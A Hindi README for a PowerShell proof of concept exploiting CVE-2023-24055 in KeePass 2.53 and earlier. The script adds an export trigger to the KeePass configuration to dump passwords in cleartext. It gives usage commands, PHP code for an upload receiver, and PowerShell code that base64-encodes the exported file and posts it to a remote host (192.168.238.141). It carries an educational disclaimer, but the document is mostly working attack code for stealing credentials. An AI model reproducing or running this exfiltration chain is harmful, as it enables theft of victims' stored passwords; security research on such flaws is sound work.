
PowerShell में लिखा गया CVE-2023-24055 POC।

यह स्क्रिप्ट केवल शैक्षिक और प्रदर्शन उद्देश्यों के लिए है। लेखक किसी भी आपराधिक या दुर्भावनापूर्ण गतिविधियों के लिए इस स्क्रिप्ट के उपयोग का समर्थन या अनुमोदन नहीं करता है और इसका उपयोग केवल वहीं किया जाना चाहिए जहाँ उचित अनुमति के साथ स्पष्ट रूप से अनुमति दी गई हो।
इस स्क्रिप्ट का उपयोग सावधानी से किया जाना चाहिए, क्योंकि यह KeePass कॉन्फ़िगरेशन फ़ाइल को बदल देगी और पहले से कॉन्फ़िगर किए गए किसी भी ट्रिगर को हटा देगी। इस स्क्रिप्ट के उपयोग से अप्रत्याशित व्यवहार हो सकता है और संभावित रूप से KeePass एप्लिकेशन खराब हो सकता है। अपने जोखिम पर उपयोग करें।
यह स्क्रिप्ट संस्करण 2.53 तक के KeePass (डिफ़ॉल्ट इंस्टॉलेशन में) की ** विवादित ** भेद्यता (CVE-2023-24055) को प्रदर्शित करती है, क्योंकि यह XML कॉन्फ़िगरेशन फ़ाइल तक लेखन पहुँच रखने वाले हमलावर को एक एक्सपोर्ट ट्रिगर जोड़कर क्लियरटेक्स्ट पासवर्ड प्राप्त करने की अनुमति देती है। ध्यान दें कि विक्रेता का रुख यह है कि पासवर्ड डेटाबेस को ऐसे हमलावर से सुरक्षित रखने का इरादा नहीं है जिसके पास स्थानीय PC तक उस स्तर की पहुँच हो।
संदर्भ:
इस स्क्रिप्ट का उपयोग करने के लिए, इसे PowerShell में चलाएँ और आवश्यक पैरामीटर प्रदान करें। अनिवार्य पैरामीटर हैं:
-filename: उस फ़ाइल का पूर्ण फ़ाइल पथ और नाम जिसमें पासवर्ड एक्सपोर्ट किए जाने हैं।वैकल्पिक पैरामीटर हैं:
-uploadURL: यह स्विच यह निर्दिष्ट करने के लिए उपयोग किया जाता है कि डेटा को निर्दिष्ट URL पर अपलोड किया जाना चाहिए।-url: वह URL जिस पर डेटा अपलोड किया जाना चाहिए।क्लियरटेक्स्ट पासवर्ड एक्सपोर्ट करें:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
क्लियरटेक्स्ट पासवर्ड एक्सपोर्ट करें और एक्सपोर्ट को वेब सर्वर पर अपलोड करें:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
विस्तृत सहायता:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");